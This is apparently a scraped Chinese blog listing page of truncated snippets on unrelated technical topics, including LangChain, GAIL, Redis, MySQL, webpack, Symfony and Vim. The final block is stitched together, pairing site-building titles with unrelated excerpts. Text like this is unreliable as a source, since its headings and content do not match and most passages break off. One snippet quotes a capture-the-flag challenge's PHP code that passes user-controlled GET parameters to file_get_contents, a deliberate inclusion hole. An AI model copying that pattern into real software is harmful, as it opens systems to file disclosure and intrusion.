基于Langchain构建本地大型语言模型&#xff08;LLM&#xff09;问答系统的经验分享 https://download.csdn.net/download/xziyuan/89334371?spm1001.2101.3001.9500 最近&#xff0c;我一直在探索如何利用Langchain来构建一个本地的大型语言模型问答系统。在这个过程中&…...

对抗式生成模仿学习(GAIL)

目录 1 预先基础知识 1.1 对抗生成网络&#xff08;GAN&#xff09; 1.1.1 基本概念 1.1.2 损失函数 1.1.2.1 固定G&#xff0c;求解令损失函数最大的D 1.1.2.2 固定D&#xff0c;求解令损失函数最小的G 1.2 对抗式生成模仿学习特点 2 对抗式生成模仿学习&#xff08;…...

信息系统项目管理师 | 新一代信息技术

关注WX&#xff1a;CodingTechWork 物联网 定义 The Internet of Things是指通过信息传感设备&#xff0c;按约定的协议&#xff0c;将任何物品与互联网连接&#xff0c;进行信息交互和通信&#xff0c;以实现智能化识别。定位、跟踪、监控和管理的一种网络。物联网主要解决…...

安全宣传咨询日活动向媒体投稿记住这个投稿好方法

在信息爆炸的时代,作为单位的信息宣传员,我肩负着将每一次重要活动,特别是像“安全宣传咨询日”这样的公益活动,有效传达给公众的重任。这份工作看似简单,实则充满了挑战,尤其是在我初涉此领域时,那段曲折而又难忘的投稿经历,至今记忆犹新。 初探投稿之海,遭遇重重困难 起初,我…...

第7章:系统架构设计基础知识-软件架构风格

由于历史原因&#xff0c;研究者和工程人员对Sofiware Architecture(简称SA)的翻译不尽相同&#xff0c;其软件的“体系结构”和“架构”具有相同的含义。 系统架构其实就是系统的结构&#xff0c;系统架构设计其实就是要给相关利益方说清楚通过什么样的结构来解决需求中功能和…...

自制调色小工具给图片加滤镜,修改图片红、绿、蓝通道及亮度,修改图片颜色

上篇&#xff1a; 上篇我们给地图添加了锐化、模糊等滤镜&#xff0c;这篇来写一个小工具给图片调色。 调色比锐化等滤镜要简单许多&#xff0c;直接拿到像素值修改即可。不需要用到卷积核。。。(*^▽^*) 核心原理就是图像结构&#xff0c;使用context.getImageData获取图像像…...

【Redis】java客户端(SpringData和jedis)

https://www.oz6.cn/articles/58 https://www.bilibili.com/video/BV1cr4y1671t/?p16 redis官网客户端介绍&#xff1a;https://redis.io/docs/latest/develop/connect/clients/ jedis maven引入依赖 <dependencies><!--引入Jedis依赖--><dependency><…...

大数据安全经典面试题及回答(上)

目录 一、大数据安全的主要挑战及应对策略 二、大数据安全中的“五个V”及其影响 三、在Hadoop集群中实施数据加密的步骤和注意事项 四、在大数据环境中实施访问控制和身份认证 五、大数据环境中数据备份和恢复的策略 六、大数据处理过程中保护用户隐私的策略 七、大数据…...

vi/vim使用命令

你是否在编辑文件时以为键盘坏了&#xff0c;为什么不能删除呢&#xff0c;为什么不能敲代码呢&#xff0c;当你初识vi&#xff0c;会觉得这个东西设计很难用&#xff0c;这篇教程带你熟练得用上这款经典的工具&#xff0c;当你熟练了这款工具就会真正体会到高效率打码 Vi 是在…...

webpack打包gz文件,nginx开启gzip压缩

wepback配置 webpack4配合"compression-webpack-plugin": "^6.1.2"打包压缩gz chain.plugin("compression").use(new CompressionPlugin({test: /\.js$|\.html$|\.css$/,threshold: 10240, // 超过10KB的压缩deleteOriginalAssets: false,// 保…...

微服务开发与实战Day11 - 微服务面试篇

一、分布式事务 1. CAP定理 1998年&#xff0c;加州大学的计算机科学及Eric Brewer提出&#xff0c;分布式系统有三个指标&#xff1a; Consistency&#xff08;一致性&#xff09;Availability&#xff08;可用性&#xff09;Partition tolerance&#xff08;分区容错性&am…...

基于Spring Boot+VUE职称评审管理系统

1管理员功能模块 管理员登录&#xff0c;通过填写注册时输入的用户名、密码、角色进行登录&#xff0c;如图1所示。 图1管理员登录界面图 管理员登录进入职称评审管理系统可以查看首页、个人中心、用户管理、评审员管理、省份管理、评审条件管理、职称申请管理、结果公布管理、…...

MySQL 基本语法讲解及示例(上)

第一节&#xff1a;MySQL的基本操作 1. 创建数据库 在 MySQL 中&#xff0c;创建数据库的步骤如下&#xff1a; 命令行操作 打开 MySQL 命令行客户端或连接到 MySQL 服务器。 输入以下命令创建一个数据库&#xff1a; CREATE DATABASE database_name;例如&#xff0c;创建一…...

6.18作业

完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后&#xff0c;关闭登录界面&#xff0c;跳转到其他界面 如果账号和密码不匹配&#xff…...

Excel文件转换为HTML文件

文章目录 前言安装python包python代码 前言 将一个Excel文件转换为HTML文件 安装python包 使用pandas和openpyxl库来实现这个功能 pip install pandas openpyxlpython代码 1、首先使用tkinter库中的filedialog模块弹出一个对话框来选择要转换的Excel文件 2、使用pandas库…...

MySQL数据库入门

1、MySQL概述 MySQL官方网站 https://www.mysql.com/downloads/ MySQL被Oracle公司收购了&#xff0c;作者又重新编写了一个开源的数据库管理系统&#xff0c;Mariadb 2、MySQL产品&版本 2、数据库在网站架构中的角色 LAMP LNMP网站架构 3、安装MySQL-基于yum 查…...

vue element-ui 下拉框 以及 input 限制输入,小数点后保留两位 界面设计案例 和 例子:支持mp4和m3u8视频播放

vue input 限制输入&#xff0c;小数点后保留两位 以及 图片垂直居中显示 和 分享 git 小技巧-CSDN博客文章浏览阅读430次&#xff0c;点赞5次&#xff0c;收藏4次。error:Your local changes to the following files would be overwritten by merge:_error: your local change…...

Python基础用法 之 运算符

1.算数运算符 符号作用说明举例加与“”相同 - 减与“-”相同*乘 与“ ”相同 9*218/除 与“ ”相同 9/24.5 、6/32.0//求商&#xff08;整数部分&#xff09; 两个数据做除法的 商 9//24%取余&#xff08;余数部分&#xff09; 是两个数据做除法的 余数 9%21**幂、次方2**…...

事务所管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;客户管理&#xff0c;评论管理&#xff0c;基础数据管理&#xff0c;公告信息管理 客户账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;律师管理&#xff0…...

airsim安装

继续进行&#xff0c;遇到下面的报错 Cannot find path HKEY_CLASSES_ROOT\Unreal.ProjectFile\shell\rungenproj 在Git地址的issue中&#xff0c;搜到下面的解决方法&#xff0c;根因是安装Unreal Engine之后未重启电脑&#xff0c;文件未关联导致&#xff0c;或者出现重定向…...

打造精致UI界面:字体设计的妙招

字体设计是UI设计的关键模块之一。字体设计是否有效可能直接实现或破坏整个UI界面。那么&#xff0c;界面设计的字体设计有哪些规范呢&#xff1f;如何设计细节字体&#xff1f;本文将解释字体设计规范的可读性、可读性和可用性&#xff0c;并介绍UI界面中的字体设计技巧。 如…...

[BJDCTF2020]ZJCTF,不过如此1

打开题目可以看到一段php文件包含&#xff0c;源码如下 <?phperror_reporting(0); $text $_GET["text"]; $file $_GET["file"]; if(isset($text)&&(file_get_contents($text,r)"I have a dream")){echo "<br><h1>…...

全网最全 Kimi 使用手册,看完 Kimi 效率提升 80%

在当前AI文字大模型领域&#xff0c;ChatGPT4.0无疑是最强大。然而&#xff0c;最近最火爆的大模型非国产Kimi莫属。 相较于其它大模型&#xff0c;Kimi 最大的优势在于&#xff0c;超长文本输入&#xff0c;支持200万汉字&#xff0c;是全球范围内罕见的超长文本处理工具&…...

“Redis中的持久化:深入理解RDB与AOF机制“

目录 # 概念 1. RDB持久化 1.1 备份是如何执行的&#xff08;RDB过程&#xff09; 1.2 配置文件信息 1.3 RDB持久化操作 1.4 RDB优势 1.5 RDB劣势 1.6 RDB做备份 2. AOF持久化 2.1 AOF开启及使用 2.2 异常恢复 2.3 配置文件操作 2.4 AOF持久化流程 2.5 优点 2.6…...

PHP框架详解:Symfony框架讲解

PHP作为一种流行的服务器端编程语言&#xff0c;拥有众多框架&#xff0c;其中Symfony是备受开发者推崇的一个强大框架。本文将详细讲解Symfony框架的特点、优势及其主要组件和用法。 一、Symfony简介 Symfony是由Fabien Potencier于2005年创建的一个开源PHP框架。它基于MVC&…...

PR软件视频抠图换背景

1 新建项目 2 新建序列 在项目的右下角有个图标&#xff0c;新建 序列 序列是视频的制作尺寸&#xff0c;根据自己的需要选择 3 新建颜色遮罩 在项目的右下角--新建颜色遮罩--选择黑色--确定 4 导入视频 把要导入视频的文件夹打开&#xff0c;把视频拖到 项目 里 把黑色遮罩拖…...

下载依赖有问题(只有自己有问题)

有缓存&#xff01; 删除node_modules 命令&#xff1a;npm run clean 前提是该项目支持这个命令&#xff1a;package.json > scripts 内有 clean 例如下面这个就没有clean&#xff0c;则直接手动删除 清除缓存 npm cache clean --force pnpm store prune删除lock文件 …...

vscode-关闭ts与js语义校验

1.ts与js语义校验 TypeScript&#xff08;TS&#xff09;和JavaScript&#xff08;JS&#xff09;在语义校验方面有很大的不同。TypeScript是一种静态类型检查的编程语言&#xff0c;它是JavaScript的一个超集&#xff0c;为JavaScript添加了类型系统和其他一些特性。而JavaScr…...

网站制作是不是要一个后台/企业线上培训平台有哪些

本文实例讲述了python双向链表原理与实现方法。分享给大家供大家参考&#xff0c;具体如下&#xff1a;双向链表一种更复杂的链表是“双向链表”或“双面链表”。每个节点有两个链接&#xff1a;一个指向前一个节点&#xff0c;当此节点为第一个节点时&#xff0c;指向空值&…...

网站建设项目甘特图/最新新闻热点事件2022

回首忆惘然与我的其他答案完全相反&#xff0c;即使使用多字节字符&#xff0c;此后续功能也可能是安全的。// replace any non-ascii character with its hex code.function escape($value) { $return ; for($i 0; $i < strlen($value); $i) { $char $valu…...

档案网站建设经验/seo软文推广工具

海阔凭鱼跃&#xff0c;天高任鸟飞。Hey 你好&#xff01;我是秦爱德。&#x1f604;❝平平无奇上班摸鱼&#xff0c;甚至想着如何带薪拉屎 &#x1f60f;&#x1f60f;&#x1f60f;❞论一个职业程序员&#xff0c;我们如何在工作中悄无声息的「摸鱼」 ❓ 且老板还得拍手叫好&…...

吉林住房和城乡建设部网站/百度小说风云榜总榜

其实对于字母而言&#xff0c;思路相当于是26个字母的映射表 算法实现如下&#xff1a; // isBroStr2.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <iostream> using namespace std; const int MAX58; int isBroStr(char* s1,cha…...

做外贸有哪些免费的网站有哪些/seo中文意思

题目描述&#xff1a; 3663 4660 4206 题解&#xff1a; 第一眼&#xff1a;不成立的互相连边&#xff0c;然后用网络流求解无向图最小点覆盖&#xff01; 好吧我不会。 正解&#xff1a; 每个点对应圆上的一段圆弧&#xff0c;长这样&#xff1a; 设对应圆弧$(l,r)$。 若$[a,b…...

女主网站和男主做/销售策略和营销策略

2014年已尘埃落定&#xff0c;720万大学毕业生身在何处&#xff0c;其中100万计算机相关专业毕业生就业情况又如何&#xff1f;小编由于自身的职业特殊性&#xff0c;有机会接触大量高校毕业生&#xff0c;通过对这些高校毕业生的走访与调查&#xff0c;随机抽样了1000份继续选…...